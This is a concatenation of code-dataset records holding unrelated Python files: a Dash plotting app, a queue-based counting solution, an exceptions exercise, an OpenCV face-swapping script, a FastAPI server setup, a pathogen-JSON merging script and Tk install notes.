Workbook(encoding='utf-8')\n","sub_path":"model_report/exporters/excel.py","file_name":"excel.py","file_ext":"py","file_size_in_byte":4059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"245504788","text":"# 3078.py\n# 2018.06.17\n\nimport sys\nimport collections\n\nr = sys.stdin.readline\n\nn, k = map(int, r().split())\np = [collections.deque() for _ in range(21)]\ncnt = 0\nfor idx in range(n):\n\ti = len(r().rstrip())\n\twhile p[i] and p[i][0] < idx-k:\n\t\tp[i].popleft()\n\tcnt += len(p[i])\n\tp[i].append(idx)\nprint(cnt)\n\n# 이름 길이를 기준으로 하여 각각의 queue를 만들어 index값을 push한다.\n# 뒤에 사람을 기준으로 친구 쌍을 count하며, 친구의 범위가 넘는 경우는 popleft하여 다음번에 탐색하지 않게한다.\n","sub_path":"3000/3078.py","file_name":"3078.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"64146019","text":"import dash\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nfrom dash.dependencies import Input, Output, State, MATCH, ALL\r\nimport dash_bootstrap_components as dbc\r\nfrom .plots import App, plot_graph, add_parameters, _params\r\nfrom .homepage import Homepage\r\nfrom jupyter_dash import JupyterDash\r\nimport pandas as pd\r\nimport logging\r\nimport plotly.graph_objects as go\r\nfrom .data_exploration import dataexploration, plot_distributions ,association,get_pps_array,get_corr_array\r\n\r\n# just set the width to 100% is enough ;) you cannot get the browser size with your old server side width checking\r\nWIDTH = \"100%\"\r\n\r\nadded_params_value=[]\r\nexternal_stylesheets = [dbc.themes.BOOTSTRAP,{\r\n 'href': 'https://use.fontawesome.com/releases/v5.8.1/css/all.css',\r\n 'rel': 'stylesheet',\r\n 'integrity': 'sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf',\r\n 'crossorigin': 'anonymous'\r\n}]\r\n\r\n\r\n\r\ndef run_app(df, host=\"0.0.0.0\", port=12345):\r\n app = JupyterDash(__name__, external_stylesheets=external_stylesheets,suppress_callback_exceptions=True)\r\n app.config.suppress_callback_exceptions = True\r\n app.layout = html.Div([\r\n dcc.Location(id = 'url', refresh = False),\r\n html.Div(id = 'page-content')])\r\n try:\r\n @app.callback(Output('page-content', 'children'),[Input('url', 'pathname')])\r\n def display_page(pathname):\r\n if pathname == '/plot':\r\n return App(df)\r\n elif pathname == '/data-exploration':\r\n return dataexploration(df)\r\n else:\r\n return Homepage(df)\r\n\r\n @app.callback(Output('hist_plot','children'),[Input('hist_col_dropdown','value'),Input('theme_dropdown','value')])\r\n def update_data_distribution(col_list,theme):\r\n children = plot_distributions(df,col_list,theme)\r\n return children\r\n \r\n @app.callback([Output('corr','children'),Output('heatmap','style')],\r\n [Input('col1','value'),Input('col2','value'),Input('show-more','n_clicks')])\r\n def update_association(col1,col2,n):\r\n heat_map_style={'display':'none'}\r\n try:\r\n corr_child=association(df,col1,col2)\r\n except (TypeError):\r\n corr_child=[html.P('Please select numeric columns', style={'color':'red'})]\r\n if n is not None:\r\n if n%2==1:\r\n heat_map_style=_params()\r\n\r\n return corr_child,heat_map_style\r\n\r\n @app.callback([Output('output_plots','children'),Output('add-parameter-drop','options'),Output('color_div','style'),\r\n Output('facet_col_div','style'),Output('margin_x_div','style'),Output('margin_y_div','style'),Output('trendline_div','style'),\r\n Output('size_div','style'),Output('animation_div','style'),Output('opacity_div','style'),Output('barmode_div','style'),\r\n Output('boxmode_div','style'),Output('q_div','style'),Output('points_div','style')],\r\n [Input('charttype','value'), Input('xaxis','value'), Input('yaxis','value'), Input('theme_dropdown','value'), \r\n Input('add-parameter-drop','value'),Input('color','value'),Input('facet_col','value'),Input('margin-x','value'),\r\n Input('margin-y','value'),Input('trendline','value'),Input('size','value'),Input('animation','value'),Input('opacity','value'),\r\n Input('barmode','value'), Input('boxmode','value'),Input('q','value'),Input('points','value')])\r\n def update_plots(chart_type,x,y,theme,added_params,color,facet_col,margin_x,margin_y,trendline,size,animation,opacity,barmode,boxmode,q,points):\r\n color_style = {'display': 'none'}\r\n facet_col_style = {'display': 'none'}\r\n margin_x_style = {'display': 'none'}\r\n margin_y_style = {'display': 'none'}\r\n trendline_style={'display':'none'}\r\n size_style = {'display':'none'}\r\n animation_style = {'display':'none'}\r\n opacity_style={'display': 'none'}\r\n barmode_style = {'display': 'none'}\r\n boxmode_style = {'display': 'none'}\r\n q_style={'display': 'none'}\r\n points_style={'display': 'none'}\r\n\r\n facet_col_val,color_val, margin_x_val,margin_y_val,trendline_val,size_val,animation_val,opacity_val,barmode_val,boxmode_val,q_val,points_val,notched_val=None,None,None,None,None,None,None,1,'relative','group','linear','outliers',False\r\n box_val=False\r\n log_x = False\r\n log_y = False\r\n for param in added_params:\r\n if param == 'log_x':\r\n log_x=True\r\n if param=='log_y':\r\n log_y=True\r\n if param=='color':\r\n color_style = _params()\r\n color_val=color\r\n if param=='facet_col':\r\n facet_col_style = _params()\r\n facet_col_val=facet_col\r\n if param == 'marginal_x':\r\n margin_x_style= _params()\r\n margin_x_val = margin_x\r\n if param == 'marginal_y':\r\n margin_y_style=_params()\r\n margin_y_val=margin_y\r\n if param=='trendline':\r\n trendline_style=_params()\r\n trendline_val=trendline\r\n if param=='size':\r\n size_style = _params()\r\n size_val=size\r\n if param == 'animation_frame':\r\n animation_style=_params()\r\n animation_val = animation\r\n if param == 'opacity':\r\n opacity_style=_params()\r\n opacity_val=opacity\r\n\r\n if param == 'barmode':\r\n barmode_style=_params()\r\n barmode_val=barmode\r\n\r\n if param == 'mode':\r\n boxmode_style=_params()\r\n boxmode_val=boxmode\r\n if param == 'quartilemethod':\r\n q_style=_params()\r\n q_val=q\r\n if param == 'points':\r\n points_style=_params()\r\n points_val=points\r\n if param == 'notched':\r\n notched_val=True\r\n if param == 'box':\r\n box_val=True\r\n options = add_parameters(chart_type)\r\n plot_children = plot_graph(plot_type=chart_type,df=df,x=x,y=y,theme=theme,color=color_val,facet_col=facet_col_val,\r\n marginal_x=margin_x_val,marginal_y=margin_y_val,trendline=trendline_val,log_x=log_x,log_y=log_y,size=size_val,\r\n animation_frame =animation_val,opacity=opacity_val,barmode=barmode_val,boxmode=boxmode_val,\r\n quartilemethod=q_val,points=points_val,notched=notched_val,box=box_val)\r\n \r\n return plot_children, options, color_style, facet_col_style , margin_x_style, margin_y_style, trendline_style , size_style ,animation_style, opacity_style, barmode_style, boxmode_style,q_style,points_style \r\n\r\n app.run_server(mode='inline',width=WIDTH,host=host,port=port)\r\n except:\r\n app.run_server(mode='inline',width=WIDTH,host=host,port=port)\r\n\r\n\r\n","sub_path":"autoplotter/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"130214509","text":"from random import choice\n\n# Problem 1\ndef arithmagic():\n step_1 = input(\"Enter a 3-digit number where the first and last \"\n \"digits differ by 2 or more: \")\n if int(step_1) > 999 or int(step_1) < 100:\n raise ValueError(\"Did not enter a 3-digit number\")\n if abs(int(step_1[0]) - int(step_1[2])) < 2:\n raise ValueError(\"First and last digits do not differ by 2 or more\")\n\n step_2 = input(\"Enter the reverse of the first number, obtained \"\n \"by reading it backwards: \")\n if int(step_2[0]) != int(step_1[2]) or int(step_2[1]) != int(step_1[1]) \\\n or int(step_2[2]) != int(step_1[0]):\n raise ValueError(\"Did not enter the reverse of the first number\")\n\n step_3 = input(\"Enter the positive difference of these numbers: \")\n if int(step_3) != abs(int(step_1) - int(step_2)):\n raise ValueError(\"Did not enter the positive difference\")\n\n step_4 = input(\"Enter the reverse of the previous result: \")\n if int(step_4[0]) != int(step_3[2]) or int(step_4[1]) != int(step_3[1]) \\\n or int(step_4[2]) != int(step_3[0]):\n raise ValueError(\"Did not enter the reverse of the previous result\")\n\n print (step_3 + \"+\" + step_4 + \"= 1089 (ta-da!)\")\n\narithmagic()\n\n# Problem 2\ndef random_walk(max_iters=1e12):\n walk = 0\n direction = [1,-1]\n for i in range(int(max_iters)):\n try:\n walk += choice(direction)\n except KeyboardInterrupt:\n print(\"Process interrupted at iteration \" + str(i))\n return walk\n print(\"Process completed\")\n return walk\n\nprint(random_walk())\n\n# Problem 3 and 4\nclass ContentFilter(object):\n def __init__(self,name):\n try:\n if not isinstance(name,str):\n raise TypeError\n except TypeError:\n print(\"TypeError: File name not a string\")\n else:\n self.name = name\n with open(name,'a') as file:\n file.write('')\n with open(name,'r') as file2:\n self.contents = file2.read()\n\n def uniform(self,name_to,mode='w',case='upper'):\n if mode!='w' and mode !='a':\n raise ValueError(\"Invalid mode. Must be 'w' or 'a'\")\n if case!='upper' and case !='lower':\n raise ValueError(\"Invalid case. Must be 'upper' or 'lower'\")\n if case == 'upper':\n with open(name_to,mode) as out_file:\n out_file.write(self.contents.upper())\n if case == 'lower':\n with open(name_to,mode) as out_file:\n out_file.write(self.contents.lower())\n\n def reverse(self,name_to,mode='w',unit='line'):\n if mode!='w' and mode !='a':\n raise ValueError(\"Invalid mode. Must be 'w' or 'a'\")\n if unit!='line' and unit!='word':\n raise ValueError(\"Invalid reverse style. Must be 'word' or 'line'\")\n if unit=='word':\n lines = self.contents.split('\\n')\n with open(name_to,mode) as out_file:\n for i in lines:\n words = i.split()\n for j in reversed(words):\n out_file.write(j+' ')\n out_file.write('\\n')\n if unit=='line':\n lines = self.contents.split('\\n')\n with open(name_to,mode) as out_file:\n for i in reversed(lines):\n out_file.write(i+'\\n')\n\n def transpose(self,name_to,mode='w'):\n if mode!='w' and mode !='a':\n raise ValueError(\"Invalid mode. Must be 'w' or 'a'\")\n # assume equal number of words on each line of the input file\n lines = self.contents.split('\\n')\n line_num = len(lines)\n\n words_per_line = len(lines[0].split())\n tot_words = self.contents.split()\n\n with open(name_to,mode) as out_file:\n for i in range(words_per_line):\n for j in range(line_num):\n out_file.write(tot_words[j*words_per_line+i]+\" \")\n out_file.write('\\n')\n\n def __str__(self):\n char = len(self.contents)\n alph = 0\n num = 0\n white = 0\n for i in range(len(self.contents)):\n if self.contents[i].isalpha():\n alph = alph+1\n elif self.contents[i].isdigit():\n num = num+1\n elif self.contents[i].isspace():\n white = white+1\n source = \"Source file: \" + self.name + \"\\n\"\n tot_char = \"Total characters: \" + str(char) + \"\\n\"\n alph_char = \"Alphabetic characters: \" + str(alph) + \"\\n\"\n num_char = \"Numerical characters: \" + str(num) + \"\\n\"\n white_char = \"Whitespace characters: \" + str(white) + \"\\n\"\n lines = \"Number of lines: \" + str(len(self.contents.split('\\n')))\n return source+tot_char+alph_char+num_char+white_char+lines\n\nfile = ContentFilter(\"hello.txt\")\nprint(file)\nfile.uniform(\"hello_up.txt\")\nfile.uniform(\"hello_low.txt\",'w','lower')\nfile.reverse(\"hello_line.txt\")\nfile.reverse(\"hello_word.txt\",'w','word')\nfile.transpose(\"hello_trans.txt\")\nfile2 = ContentFilter(12)\n","sub_path":"ProbSets/Comp/Week 1/rzhang_exceptions.py","file_name":"rzhang_exceptions.py","file_ext":"py","file_size_in_byte":5129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"241565284","text":"import cv2\nimport numpy as np\nimport dlib\n\ndef extract_index_nparray(nparray):\n\tindex=None\n\tfor num in nparray[0]:\n\t\tindex=num\n\t\tbreak\n\n\treturn index\n\n\n\nimg=cv2.imread(\"/home/chiranjeev/Desktop/face_swapping/bradely.jpeg\")\nimg_gray=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\nmask=np.zeros_like(img_gray)\ndetector=dlib.get_frontal_face_detector()\npredictor=dlib.shape_predictor(\"shape_predictor_68_face_landmarks.dat\")\n\nfaces=detector(img_gray)\n\nfor face in faces:\n\tlandmarks=predictor(img_gray,face)\n\tlandmarks_points=[]\n\n\tfor n in range(0,68):\n\t\tx=landmarks.part(n).x\n\t\ty=landmarks.part(n).y\n\t\tlandmarks_points.append((x,y))\n\n\t\t# cv2.circle(img,(x,y),3,(0,0,255),1)\n\n\tpoints=np.array(landmarks_points,np.int32)\n\tconvexhull=cv2.convexHull(points)\n\n\t# cv2.polylines(img,[convexhull],True,(255,0,0),3)\n\tcv2.fillConvexPoly(mask,convexhull,255)\n\n\tface_image1=cv2.bitwise_and(img,img,mask=mask)\n\n\t#Delaunay traingulation\n\trect=cv2.boundingRect(convexhull)\n\tsubdiv=cv2.Subdiv2D(rect)\n\tsubdiv.insert(landmarks_points)\n\ttraingles=subdiv.getTriangleList()\n\ttraingles=np.array(traingles,dtype=np.int32)\n\n\tindexes_triangles=[]\n\n\tfor t in traingles:\n\t\tpt1=(t[0],t[1])\n\t\tpt2=(t[2],t[3])\n\t\tpt3=(t[4],t[5])\n\n\t\t##pt1\n\n\t\t#print(\"pt1=\\n\",pt1)\n\t\tindex_pt1=np.where((points==pt1).all(axis=1))\n\t\tindex_pt1=extract_index_nparray(index_pt1)\n\t\t#print(\"index_pt1\\n\",index_pt1)\n\n\t\t##pt2\n\n\t\t#print(\"pt2=\\n\",pt2)\n\t\tindex_pt2=np.where((points==pt2).all(axis=1))\n\t\tindex_pt2=extract_index_nparray(index_pt2)\n\t\t#print(\"index_pt2\\n\",index_pt2)\n\t\n\t\t##pt3\n\n\t\t#print(\"pt3=\\n\",pt3)\n\t\tindex_pt3=np.where((points==pt3).all(axis=1))\n\t\tindex_pt3=extract_index_nparray(index_pt3)\n\t\t#print(\"index_pt3\\n\",index_pt3)\n\n\t\tif index_pt1 is not None and index_pt2 is not None and index_pt3 is not None:\n\t\t\ttriangle=[index_pt1,index_pt2,index_pt3]\n\t\t\tindexes_triangles.append(triangle) \n\n\n\t\t# cv2.circle(img,pt1,3,(0,255,0),-1)\n\t\t# cv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/created_image_marked_pt1_of_triangles.jpg\",img)\n\t\n\t\t# cv2.circle(img,pt2,3,(15,29,130),2)\n\t\t# cv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/created_image_marked_pt2_of_triangles.jpg\",img)\n\n\t\t# cv2.circle(img,pt3,3,(139,55,10),2)\n\t\t# cv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/created_image_marked_pt3_of_triangles.jpg\",img)\n\n\n\t\t# cv2.line(img,pt1,pt2,(0,0,255),1)\n\t\t# cv2.line(img,pt2,pt3,(0,0,255),1)\n\t\t# cv2.line(img,pt3,pt1,(0,0,255),1)\n\t\n\t##################################\n\t#printing indexes\n\t# print(indexes_triangles)\n\t##################################\n\n\t# cv2.imshow(\"created_image\",img)\n\t# cv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/created_image.jpg\",img)\n\t#cv2.imshow(\"face_image\",face_image1)\n\t#cv2.imshow(\"mask\",mask)\n\n########FACE-2################\n\nimg2=cv2.imread(\"/home/chiranjeev/Desktop/face_swapping/faces2.jpeg\")\nimg2_gray=cv2.cvtColor(img2,cv2.COLOR_BGR2GRAY)\n\nfaces2=detector(img2_gray)\n\nfor face in faces2:\n\tlandmarks2=predictor(img2_gray,face)\n\tlandmarks_points2=[]\n\n\tfor n in range(0,68):\n\t\tx=landmarks2.part(n).x\n\t\ty=landmarks2.part(n).y\n\t\tlandmarks_points2.append((x,y))\n\n\n\t\t#cv2.circle(img2,(x,y),3,(0,255,0),-1)\n\n\t#drawing triangle on face2 same as face1\n\n\t#cv2.imshow(\"created_image2\",img2)\n\t#cv2.imwrite(\"created_image2.jpg\",img2)\n\n\tpoints2=np.array(landmarks_points2,np.int32)\n\tconvexhull2=cv2.convexHull(points2)\n\nlines_space_mask=np.zeros_like(img_gray)\nlines_space_new_face=np.zeros_like(img2)\n\nimg2_new_face=np.zeros_like(img2,np.uint8)\n\nfor triangle_index in indexes_triangles:\n\n\t#########first face#########\n\n\ttr1_pt1=landmarks_points[triangle_index[0]]\n\ttr1_pt2=landmarks_points[triangle_index[1]]\n\ttr1_pt3=landmarks_points[triangle_index[2]]\n\ttraingle1=np.array([tr1_pt1,tr1_pt2,tr1_pt3],np.int32)\n\trect1=cv2.boundingRect(traingle1)\n\t(x1,y1,w1,h1)=rect1\n\t# cv2.rectangle(img,(x1,y1),(x1+w1,y1+h1),(0,255,0),1)\n\tcropped_triangle1=img[y1:y1+h1,x1:x1+w1]\n\n\tcropped_tr1_mask=np.zeros((h1,w1),np.uint8)\n\tpoints1=np.array([[tr1_pt1[0]-x1,tr1_pt1[1]-y1],\n\t\t\t\t\t[tr1_pt2[0]-x1,tr1_pt2[1]-y1],\n\t\t\t\t\t[tr1_pt3[0]-x1,tr1_pt3[1]-y1]],np.int32)\n\n\tcv2.fillConvexPoly(cropped_tr1_mask,points1,255)\n\tcropped_triangle1=cv2.bitwise_and(cropped_triangle1,cropped_triangle1,mask=cropped_tr1_mask)\n\n\t#linespace\n\n\t# cv2.line(lines_space_mask,tr1_pt1,tr1_pt2,255)\n\t# cv2.line(lines_space_mask,tr1_pt2,tr1_pt3,255)\n\t# cv2.line(lines_space_mask,tr1_pt1,tr1_pt3,255)\n\tlines_sapce=cv2.bitwise_and(img,img,mask=lines_space_mask)\n\t#########second face#########\n\n\ttr2_pt1=landmarks_points2[triangle_index[0]]\n\ttr2_pt2=landmarks_points2[triangle_index[1]]\n\ttr2_pt3=landmarks_points2[triangle_index[2]]\n\ttriangle2=np.array([tr2_pt1,tr2_pt2,tr2_pt3],np.int32)\n\trect2=cv2.boundingRect(triangle2)\n\t(x2,y2,w2,h2)=rect2\n\t# cv2.rectangle(img2,(x2,y2),(x2+w2,y2+h2),(0,255,0,1))\n\tcropped_triangle2=img2[y2:y2+h2,x2:x2+w2]\n\t\n\tcropped_tr2_mask=np.zeros((h2,w2),np.uint8)\n\tpoints2=np.array([[tr2_pt1[0]-x2,tr2_pt1[1]-y2],\n\t\t\t\t\t[tr2_pt2[0]-x2,tr2_pt2[1]-y2],\n\t\t\t\t\t[tr2_pt3[0]-x2,tr2_pt3[1]-y2]],np.int32)\n\n\tcv2.fillConvexPoly(cropped_tr2_mask,points2,255)\n\t\n\n\t# cv2.line(img2,tr2_pt1,tr2_pt2,(0,0,255),2)\n\t# cv2.line(img2,tr2_pt2,tr2_pt3,(0,0,255),2)\n\t# cv2.line(img2,tr2_pt3,tr2_pt1,(0,0,255),2)\n\n\t#WARP TRAINGLES\n\tpoints1=np.float32(points1)\n\tpoints2=np.float32(points2)\n\t#it will tell how much to swap these two triangles\n\tM=cv2.getAffineTransform(points1,points2)\n\t#print(M)\n\n\t#warping triangle1 into triangle2\n\twarped_triangle=cv2.warpAffine(cropped_triangle1,M,(w2,h2))\n\twarped_triangle = cv2.bitwise_and(warped_triangle, warped_triangle, mask=cropped_tr2_mask)\n\t#break\n\n\t#Reconstruct destination face\n\timg2_new_face_rect_area=img2_new_face[y2:y2+h2,x2:x2+w2]\n\t\n\timg2_new_face_gray=cv2.cvtColor(img2_new_face_rect_area,cv2.COLOR_BGR2GRAY)\n\t_,background_mask=cv2.threshold(img2_new_face_gray,1,255,cv2.THRESH_BINARY_INV) #to put face\n\tbackground=cv2.bitwise_and(warped_triangle,warped_triangle,mask=background_mask)\n\timg2_new_face_rect_area = cv2.add(img2_new_face_rect_area, background)\n\timg2_new_face[y2:y2+h2,x2:x2+w2]=img2_new_face_rect_area\n\n#face_swapped\t\n\nimg2_face_mask=np.zeros_like(img2_gray)\nimg2_head_mask=cv2.fillConvexPoly(img2_face_mask,convexhull2,255)\nimg2_face_mask=cv2.bitwise_not(img2_head_mask)\n\nimg2_head_noface=cv2.bitwise_and(img2,img2,mask=img2_face_mask)\n\nresult=cv2.add(img2_head_noface,img2_new_face)\n\n\n(x,y,w,h)=cv2.boundingRect(convexhull2)\ncenter_face2=(int((x+x+w)/2),int((y+y+h)/2))\nseamlessclone=cv2.seamlessClone(result,img2,img2_head_mask,center_face2,cv2.MIXED_CLONE)\n\ncv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/seamlessclone_result.jpg\",seamlessclone)\n\ncv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/final_swapping_result.jpg\",result)\n\n\n# cv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/background.jpg\",background)\n\n# cv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/img2_new_face_triangle_area.jpg\",img2_new_face)\n\n\n# cv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/wrapped_triangle.jpg\",warped_triangle)\n\n# cv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/cropped_tr1_mask.jpg\",cropped_tr1_mask)\n# cv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/cropped_tr2_mask.jpg\",cropped_tr2_mask)\n\n# cv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/cropped_tr1_seperated_triangle1_mask.jpg\",cropped_triangle1)\n# cv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/cropped_tr2_seperated_triangle2_mask.jpg\",cropped_triangle2)\n\n# cv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/cropped_single_triangle_on_img.jpg\",cropped_triangle1)\n# cv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/cropped_single_triangle_on_img2.jpg\",cropped_triangle2)\n\n\n#cv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/single_triangle_on_img.jpg\",img)\n#cv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/single_triangle_on__img2.jpg\",img2)\n\n# cv2.imshow(\"same_pts_on_img2_as_img1\",img2)\n# cv2.imwrite(\"/home/chiranjeev/Desktop/face_swapping/same_pts_on_img2_as_img1.jpg\",img2)","sub_path":"face_swapping.py","file_name":"face_swapping.py","file_ext":"py","file_size_in_byte":7876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"547590384","text":"import time\nimport os\nimport pathlib\nimport datetime\n\nfrom fastapi.logger import logger\n\nimport dependency\nfrom fastapi import FastAPI, Request\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom starlette import status\nfrom starlette.responses import JSONResponse\n\nfrom dependency import CredentialException, pool\nfrom routers.auth import auth_router\nfrom routers.prediction import model_router\nfrom routers.training import training_router\n\n\n# App instance used by the server \napp = FastAPI()\n\n# --------------------------------------------------------------------------\n# | Router Registration |\n# |---------------------|\n# In order for groups of routes to work with the server, they must be added\n# below here with a specific router. Routers act as an \"app instance\" that\n# can be used from outside of the main.py file. The specific code for each\n# router can be found in the routers/ folder.\n#\n# --------------------------------------------------------------------------\n\napp.include_router(\n auth_router,\n prefix=\"/auth\",\n tags=[\"auth\"],\n responses={404: {\"detail\": \"Not found\"}},\n)\n\napp.include_router(\n model_router,\n prefix=\"/model\",\n tags=[\"models\"],\n responses={404: {\"detail\": \"Not found\"}},\n)\n\napp.include_router(\n training_router,\n prefix=\"/training\",\n tags=[\"training\"],\n responses={404: {\"detail\": \"Not found\"}},\n)\n\n\n@app.exception_handler(CredentialException)\nasync def credential_exception_handler(request: Request, exc: CredentialException):\n \"\"\"\n Handler for credential exception. This type of exception is raised when a client attempts to access an endpoint\n without sufficient permissions for endpoints that are protected by OAuth2. This exception is raised if the client\n has no bearer token, if the bearer token is expired, or if their account does not have sufficient permissions/roles\n to access a certain endpoint.\n\n :param request: HTTP Request object\n :param exc: Exception\n :return: 401 HTTP Exception with authentication failure message\n \"\"\"\n return JSONResponse(\n status_code=status.HTTP_401_UNAUTHORIZED,\n content={\n \"status\": 'failure',\n \"detail\": \"Unable to validate credentials.\"\n },\n headers={\"WWW-Authenticate\": \"Bearer\"},\n )\n\n\n# -------------------------------\n# Web Server Configuration\n# -------------------------------\n\n# Cross Origin Request Scripting (CORS) is handled here.\norigins = [\n \"http://localhost\",\n \"http://localhost:3000\",\n \"http://localhost:5057\",\n \"http://localhost:5000\",\n \"http://localhost:6005\",\n \"http://localhost:6379\",\n]\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n\n# -------------------------------\n# Basic Routes\n# -------------------------------\n\n\n@app.get(\"/\")\nasync def root():\n \"\"\"\n Root endpoint that validates the server is running. This requires no authentication to call, and will always\n return the same result so long as the server is running.\n :return: {'status': 'success'} if server is running, else no HTTP response.\n \"\"\"\n return {\n \"status\": \"success\",\n \"detail\": 'PhotoAnalysisServer is Running'\n }\n\n\ndef delete_unused_files():\n \"\"\"\n Scheduled thread that will check all uploaded images every hour and delete them if they\n have not been accessed recently.\n \"\"\"\n\n current_time = datetime.timedelta(hours=-4) + datetime.datetime.now()\n\n for file_name in os.listdir('./prediction_images/'):\n\n file_creation_time = datetime.datetime.fromtimestamp(\n pathlib.Path('./prediction_images/' + file_name).stat().st_ctime\n )\n\n time_since_file_creation = current_time - file_creation_time\n\n if time_since_file_creation.days >= 1:\n os.remove('./prediction_images/' + file_name)\n logger.debug('[Automated Deletion Thread] Removed Image File [' + file_name + ']')\n\n\n # Delay for an hour between deletion checks\n for _ in range(60*60): \n if not dependency.shutdown: # Check between increments to stop hanging on shutdown\n time.sleep(1) \n else:\n break\n\n if dependency.shutdown:\n logger.debug('Image Deletion Thread Terminated')\n\n\n\n@app.on_event('startup')\ndef on_startup():\n \"\"\"\n On server startup, schedule\n \"\"\" \n\n pool.submit(delete_unused_files) \n\n\n\n@app.on_event('shutdown') \ndef on_shutdown():\n \"\"\"\n On server shutdown, stop all background model pinging threads.\n \"\"\"\n dependency.shutdown = True\n pool.shutdown(wait=True)\n","sub_path":"server/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"575558384","text":"import json\nimport csv\nimport os\nfrom sys import exit\n\ndef Print(node):\n for key, value in node.items():\n if key != 'children':\n print(key)\n print(value)\n if len(node['children']) > 0: \n for s in node['children']:\n Print(s) \n\ndef Work(base, node, name, num):\n base['file']=[]\n base['file'].append(name)\n for key, value in node.items():\n if key != 'children':\n base[key]=[]\n base[key].append(value)\n if len(node['children']) > 0:\n counter = 0\n base['children']=[]\n for s in node['children']:\n base['children'].append(counter)\n base['children'][counter]={}\n Work(base['children'][counter], s, name, num)\n counter +=1\n else:\n base['children']=[]\n \ndef Add(base, node, name2):\n base['file'].append(name2)\n for key, value in node.items():\n if key != 'children':\n base[key].append(value)\n if len(node['children']) > 0:\n counter = 0\n for s in node['children']:\n Add(base['children'][counter], s, name2)\n counter +=1 \n\n\ndef ExtractTaxids(base, list1):\n if base['reads'][0]>0:\n list1.append(base['taxid'][0])\n for s in base['children']:\n ExtractTaxids(s, list1)\n\ndef addlabel(base):\n base['pathogenic']=False\n base['doid']=[]\n base['disease']=[]\n base['symptom']={}\n for s in base['children']:\n addlabel(s)\n \ndef highlightPathogen(base, list1, list2):\n for key in list1:\n for kee in key:\n if (str(base['taxid'][0])==kee[10:]):\n base['pathogenic']=True\n for idx,item in enumerate(list1[0][str(kee)]):\n base['disease'].append(item['DOID_label'])\n base['doid'].append(item['DOID'])\n base['symptom'][str(item['DOID'])]=[]\n for sym in list2:\n for sympt in sym:\n if(str(item['DOID'])==str(sympt)):\n print(item['DOID'])\n print(list2[0][str(sympt)]['HP_label'])\n base['symptom'][str(sympt)].append(list2[0][str(sympt)]['HP_label'])\n for s in base['children']:\n highlightPathogen(s, list1, list2)\n\n# [str(kee['DOID'])]\n# def addsymptoms(base, symptoms, counter):\n# for key in symptoms:\n# for kee in key:\n# if(str(kee['DOID'])==str(base['doid'][counter])):\n# base[str(kee['DOID'])].append(str(kee[\"HP_label\"]))\n\ncount=0\ncounter=0\ndata={}\ntaxlist=[]\ndirectory = 'C:/Users/garyk/Documents/python_code/pathogen-dashboard/jsons/'\noutdir = 'C:/Users/garyk/Documents/python_code/pathogen-dashboard/'\npathogenlist=[]\nsymptoms=[]\n\nfor filename in os.listdir(directory):\n with open(directory+filename) as json_data:\n d=json.load(json_data)\n name=(count+1)\n if (count==0):\n Work(data, d, name, count)\n else:\n Add(data, d, name)\n count=count+1\n\nExtractTaxids(data, taxlist)\naddlabel(data)\n\nwith open(outdir + 'taxlist.csv', 'wb') as csvfile:\n writer = csv.writer(csvfile, delimiter=' ',\n quotechar='|', quoting=csv.QUOTE_MINIMAL)\n writer.writerow(taxlist)\n\n####following lines use the pathogen and symptom list generated by quering the database\n\nwith open('C:/Users/garyk/Documents/python_code/pathogen-dashboard/database2/metagenomic_data_db_info_2.json') as f:\n for line in f:\n pathogenlist.append(json.loads(line))\n \nwith open('C:/Users/garyk/Documents/python_code/pathogen-dashboard/database2/disease_to_symptoms.json') as f:\n for line in f:\n symptoms.append(json.loads(line))\n\nhighlightPathogen(data, pathogenlist, symptoms)\n# addsymptoms(data,symptoms,counter)\n\nwith open(outdir + 'dashboard/app/json_output/' + 'data.json', 'w') as outfile:\n json.dump(data, outfile)","sub_path":"merge_jsons.py","file_name":"merge_jsons.py","file_ext":"py","file_size_in_byte":4097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"595864383","text":"\n# install tcl/tk=8.6.8,\n# error after install tk(sudo apt install -y python-tk, sudo apt install -y python3-tk):\n# conflict This probably means that tk wasn't installed properly.\n\n# solution to this:\n# gedit /usr/local/lib/tk8.6/tk.tcl(line 14)\n# change (package require -exact Tk 8.6.8) to (package require -exact Tk 8.6.8)\n\n\n\n#\n#\n# http://liulab.csrc.ac.cn/dokuwiki/doku.php (sastax)\n#\n#\n\n# error(import turicreate in python):\n# ImportError: libblas.so.3: cannot open shared object file\n# solution:\n# sudo apt-get install libatlas-base-dev\n# 